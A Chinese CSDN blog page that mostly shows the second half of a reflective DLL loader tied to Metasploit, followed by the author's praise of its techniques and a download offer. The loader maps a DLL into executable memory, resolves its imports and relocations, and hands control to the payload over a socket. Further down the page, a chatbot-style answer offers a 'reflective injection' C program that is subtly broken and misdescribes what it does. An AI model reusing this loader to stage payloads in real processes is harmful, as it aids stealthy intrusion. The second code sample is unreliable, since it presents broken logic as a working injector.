  153.     dwBaseAddress = (DWORD)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE );  
  154.   
  155.     // we must now copy over the headers  
  156.     dwValueA = ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.SizeOfHeaders;  
  157.     dwValueB = dwLibraryAddress;  
  158.     dwValueC = dwBaseAddress;  
  159.     __memcpy( dwValueC, dwValueB, dwValueA );  
  160.   
  161.     // STEP 3: load in all of our sections...  
  162.   
  163.     // dwValueA = the VA of the first section  
  164.     dwValueA = ( (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS32)dwHeaderValue)->FileHeader.SizeOfOptionalHeader );  
  165.       
  166.     // itterate through all sections, loading them into memory.  
  167.     while( ((PIMAGE_NT_HEADERS32)dwHeaderValue)->FileHeader.NumberOfSections-- )  
  168.     {  
  169.         // dwValueB is the VA for this section  
  170.         dwValueB = ( dwBaseAddress + ((PIMAGE_SECTION_HEADER)dwValueA)->VirtualAddress );  
  171.   
  172.         // dwValueC if the VA for this sections data  
  173.         dwValueC = ( dwLibraryAddress + ((PIMAGE_SECTION_HEADER)dwValueA)->PointerToRawData );  
  174.   
  175.         // copy the section over  
  176.         dwValueD = ((PIMAGE_SECTION_HEADER)dwValueA)->SizeOfRawData;  
  177.         __memcpy( dwValueB, dwValueC, dwValueD );  
  178.   
  179.         // get the VA of the next section  
  180.         dwValueA += sizeof( IMAGE_SECTION_HEADER );  
  181.     }  
  182.   
  183.     // STEP 4: process our images import table...  
  184.   
  185.     // dwValueB = the address of the import directory  
  186.     dwValueB = (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];  
  187.       
  188.     // we assume their is an import table to process  
  189.     // dwValueC is the first entry in the import table  
  190.     dwValueC = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwValueB)->VirtualAddress );  
  191.       
  192.     // itterate through all imports  
  193.     while( ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name )  
  194.     {  
  195.         // use LoadLibraryA to load the imported module into memory  
  196.         dwLibraryAddress = (DWORD)pLoadLibraryA( (LPCSTR)( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name ) );  
  197.   
  198.         // dwValueD = VA of the OriginalFirstThunk  
  199.         dwValueD = ( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->OriginalFirstThunk );  
  200.       
  201.         // dwValueA = VA of the IAT (via first thunk not origionalfirstthunk)  
  202.         dwValueA = ( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->FirstThunk );  
  203.   
  204.         // itterate through all imported functions, importing by ordinal if no name present  
  205.         while( DEREF_32(dwValueA) )  
  206.         {  
  207.             // sanity check dwValueD as some compilers only import by FirstThunk  
  208.             if( dwValueD && ((PIMAGE_THUNK_DATA)dwValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG32 )  
  209.             {  
  210.                 // get the VA of the modules NT Header  
  211.                 dwExportDir = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew;  
  212.   
  213.                 // dwNameArray = the address of the modules export directory entry  
  214.                 dwNameArray = (DWORD)&((PIMAGE_NT_HEADERS32)dwExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];  
  215.   
  216.                 // get the VA of the export directory  
  217.                 dwExportDir = ( dwLibraryAddress + ((PIMAGE_DATA_DIRECTORY)dwNameArray)->VirtualAddress );  
  218.   
  219.                 // get the VA for the array of addresses  
  220.                 dwAddressArray = ( dwLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfFunctions );  
  221.   
  222.                 // use the import ordinal (- export ordinal base) as an index into the array of addresses  
  223.                 dwAddressArray += ( ( IMAGE_ORDINAL32( ((PIMAGE_THUNK_DATA)dwValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->Base ) * sizeof(DWORD) );  
  224.   
  225.                 // patch in the address for this imported function  
  226.                 DEREF_32(dwValueA) = ( dwLibraryAddress + DEREF_32(dwAddressArray) );  
  227.             }  
  228.             else  
  229.             {  
  230.                 // get the VA of this functions import by name struct  
  231.                 dwValueB = ( dwBaseAddress + DEREF_32(dwValueA) );  
  232.   
  233.                 // use GetProcAddress and patch in the address for this imported function  
  234.                 DEREF_32(dwValueA) = (DWORD)pGetProcAddress( (HMODULE)dwLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)dwValueB)->Name );  
  235.             }  
  236.             // get the next imported function  
  237.             dwValueA += 4;  
  238.             if( dwValueD )  
  239.                 dwValueD += 4;  
  240.         }  
  241.   
  242.         // get the next import  
  243.         dwValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );  
  244.     }  
  245.   
  246.     // STEP 5: process all of our images relocations...  
  247.   
  248.     // calculate the base address delta and perform relocations (even if we load at desired image base)  
  249.     dwLibraryAddress = dwBaseAddress - ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.ImageBase;  
  250.       
  251.     // dwValueB = the address of the relocation directory  
  252.     dwValueB = (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];  
  253.   
  254.     // check if their are any relocations present  
  255.     if( ((PIMAGE_DATA_DIRECTORY)dwValueB)->Size )  
  256.     {  
  257.         // dwValueC is now the first entry (IMAGE_BASE_RELOCATION)  
  258.         dwValueC = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwValueB)->VirtualAddress );  
  259.   
  260.         // and we itterate through all entries...  
  261.         while( ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock )  
  262.         {  
  263.             // dwValueA = the VA for this relocation block  
  264.             dwValueA = ( dwBaseAddress + ((PIMAGE_BASE_RELOCATION)dwValueC)->VirtualAddress );  
  265.   
  266.             // dwValueB = number of entries in this relocation block  
  267.             dwValueB = ( ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );  
  268.   
  269.             // dwValueD is now the first entry in the current relocation block  
  270.             dwValueD = dwValueC + sizeof(IMAGE_BASE_RELOCATION);  
  271.   
  272.             // we itterate through all the entries in the current block...  
  273.             while( dwValueB-- )  
  274.             {  
  275.                   // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required  
  276.                 switch( ((PIMAGE_RELOC)dwValueD)->type )  
  277.                 {  
  278.                     case IMAGE_REL_BASED_HIGHLOW:  
  279.                         *(DWORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += dwLibraryAddress;  
  280.                         break;  
  281.                     case IMAGE_REL_BASED_HIGH:  
  282.                         *(WORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += HIWORD(dwLibraryAddress);  
  283.                         break;  
  284.                     case IMAGE_REL_BASED_LOW:  
  285.                         *(WORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += LOWORD(dwLibraryAddress);  
  286.                         break;  
  287.                     //case IMAGE_REL_BASED_HIGHADJ:  
  288.                     //  break;  
  289.                     default:  
  290.                         break;  
  291.                 }  
  292.   
  293.                 // get the next entry in the current relocation block  
  294.                 dwValueD += sizeof( IMAGE_RELOC );  
  295.             }  
  296.   
  297.             // get the next entry in the relocation directory  
  298.             dwValueC = dwValueC + ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock;  
  299.         }  
  300.     }  
  301.   
  302.     // STEP 6: call our images entry point  
  303.   
  304.     // dwValueA = the VA of our newly loaded DLL's entry point  
  305.     dwValueA = ( dwBaseAddress + ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.AddressOfEntryPoint );  
  306.   
  307.     // call our DLLMain(), fudging our hinstDLL value  
  308.     ((DLLMAIN)dwValueA)( (HINSTANCE)dwBaseAddress, DLL_PROCESS_ATTACH, NULL );  
  309.   
  310.     // STEP 7: return our new DllMain address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH  
  311.     return (DWORD)dwValueA;  
  312. }  
  313. //===============================================================================================//  
  314. BOOL MetasploitDllAttach( SOCKET socket )  
  315. {  
  316.     Init( socket );  
  317.     return TRUE;  
  318. }  
  319. //===============================================================================================//  
  320. BOOL MetasploitDllDetach( DWORD dwExitFunc )  
  321. {  
  322.     switch( dwExitFunc )  
  323.     {  
  324.         case EXITFUNC_SEH:  
  325.             SetUnhandledExceptionFilter( NULL );  
  326.             break;  
  327.         case EXITFUNC_THREAD:  
  328.             ExitThread( 0 );  
  329.             break;  
  330.         case EXITFUNC_PROCESS:  
  331.             ExitProcess( 0 );  
  332.             break;  
  333.         default:  
  334.             break;  
  335.     }  
  336.   
  337.     return TRUE;  
  338. }  
  339. //===============================================================================================//  
  340. BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )  
  341. {  
  342.     BOOL bReturnValue = TRUE;  
  343.     switch( dwReason )   
  344.     {   
  345.         case DLL_METASPLOIT_ATTACH:  
  346.             bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );  
  347.             break;  
  348.         case DLL_METASPLOIT_DETACH:  
  349.             bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );  
  350.             break;  
  351.         case DLL_PROCESS_ATTACH:  
  352.             hAppInstance = hinstDLL;  
  353.             break;  
  354.         case DLL_PROCESS_DETACH:  
  355.         case DLL_THREAD_ATTACH:  
  356.         case DLL_THREAD_DETACH:  
  357.             break;  
  358.     }  
  359.     return bReturnValue;  
  360. }  
  361. //===============================================================================================//  

 

    我待会把paper和代码都上传到我的资源里面,有爱的同学自己去下载吧~

    代码里面用到了各种经典方法,如hash,api定位等,模拟动态加载dll(分区块复制,内存对齐),数据结构的定义绝对可以收藏,对PE文件的高级语言操作都可以学习,还有大爱的内联汇编~~oh~

 

updated:

资源下载地址:http://download.csdn.net/source/3343721,需要一个资源分,嘿嘿~

 

updated:

加入对模拟内存加载dll的吐槽.(之前想当然了..我错了)

主题推荐
数据结构 source code processing migration 印度
猜你在找
强大的反射功能动态创建调用dll
动态gif图片在html中显示拖影
利用ida对程序的静态链接库进行处理转
RAII惯用法C++资源管理的利器
applyElement方法
Chrome新扩展Firebug Chrome版
逆向 C++-- 2 识别类
Chromium源代码结构
如何检测当前操作系统是64位还是32位
解析文件目录树
查看评论

  暂无评论

* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
  • 个人资料
    • 访问:105763次
    • 积分:1576
    • 等级:
    • 排名:第11174名
    • 原创:38篇
    • 转载:0篇
    • 译文:2篇
    • 评论:185条
  • 推荐文章
  • 最新评论
当涉及到 DLL 注入反射注入方法时可以使用 C 语言编写一个程序来实现。下是一个示例程序,它演示了如何使用反射注入DLL 注入到目标进程中: ```c #include <stdio.h> #include <windows.h> // 反射注入 DLL 的函数 BOOL ReflectiveDllInjection(LPVOID lpDllBuffer) { // 获取当前进程的基址 HMODULE hModule = GetModuleHandle(NULL); // 获取当前进程的 DOS 头 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule; // 获取当前进程的 NT 头 PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + pDosHeader->e_lfanew); // 获取当前进程的映像基址 LPVOID pImageBase = (LPVOID)pNtHeaders->OptionalHeader.ImageBase; // 获取当前进程的入口点函数地址 LPVOID pEntryPoint = (LPVOID)((DWORD_PTR)pImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint); // 为反射注入分配内存 LPVOID pRemoteImageBase = VirtualAllocEx(GetCurrentProcess(), NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 将当前进程的映像基址复制到目标进程中 WriteProcessMemory(GetCurrentProcess(), pRemoteImageBase, pImageBase, pNtHeaders->OptionalHeader.SizeOfImage, NULL); // 将 DLL 缓冲区写入到目标进程中 WriteProcessMemory(GetCurrentProcess(), (LPVOID)((DWORD_PTR)pRemoteImageBase + ((PIMAGE_NT_HEADERS)lpDllBuffer)->OptionalHeader.ImageBase), lpDllBuffer, ((PIMAGE_NT_HEADERS)lpDllBuffer)->OptionalHeader.SizeOfImage, NULL); // 更新目标进程的导入表 PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)pRemoteImageBase + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); while (pImportDesc->Name != 0) { HMODULE hDll = LoadLibraryA((LPCSTR)((DWORD_PTR)pRemoteImageBase + pImportDesc->Name)); PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)pRemoteImageBase + pImportDesc->FirstThunk); while (pThunk->u1.Function != 0) { DWORD_PTR pFunc = (DWORD_PTR)GetProcAddress(hDll, (LPCSTR)pThunk->u1.Function); WriteProcessMemory(GetCurrentProcess(), &pThunk->u1.Function, &pFunc, sizeof(DWORD_PTR), NULL); pThunk++; } pImportDesc++; } // 创建远程线程来运行目标进程的入口点函数 HANDLE hThread = CreateRemoteThread(GetCurrentProcess(), NULL, 0, (LPTHREAD_START_ROUTINE)pEntryPoint, pRemoteImageBase, 0, NULL); if (hThread == NULL) { return FALSE; } WaitForSingleObject(hThread, INFINITE); // 清理内存 VirtualFreeEx(GetCurrentProcess(), pRemoteImageBase, 0, MEM_RELEASE); return TRUE; } int main() { // 读取 DLL 文件 FILE* fp = fopen("dll_template.dll", "rb"); if (fp == NULL) { printf("无法打开 DLL 文件!\n"); return 1; } // 获取 DLL 文件的大小 fseek(fp, 0, SEEK_END); long fileSize = ftell(fp); fseek(fp, 0, SEEK_SET); // 分配内存来存储 DLL 文件数据 LPVOID lpDllBuffer = malloc(fileSize); // 读取 DLL 文件数据到内存中 fread(lpDllBuffer, fileSize, 1, fp); // 关闭文件 fclose(fp); // 执行反射注入 if (ReflectiveDllInjection(lpDllBuffer)) { printf("DLL 注入成功!\n"); } else { printf("DLL 注入失败!\n"); } // 释放内存 free(lpDllBuffer); return 0; } ``` 上述示例程序中,你需要将要注入DLL 文件命名为 "dll_template.dll",并与程序放在同一目录下。然后编译并运行程序,它将尝试将该 DLL 注入到目标进程中。 请注意,反射注入的程序需要具有管理员权限才能成功运行。此外,反射注入可能会受到一些安全软件的检测,因为它使用了一些与恶意软件类似的技术。 希望这个示例程序能帮助到你!如有任何问题,请随时提问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值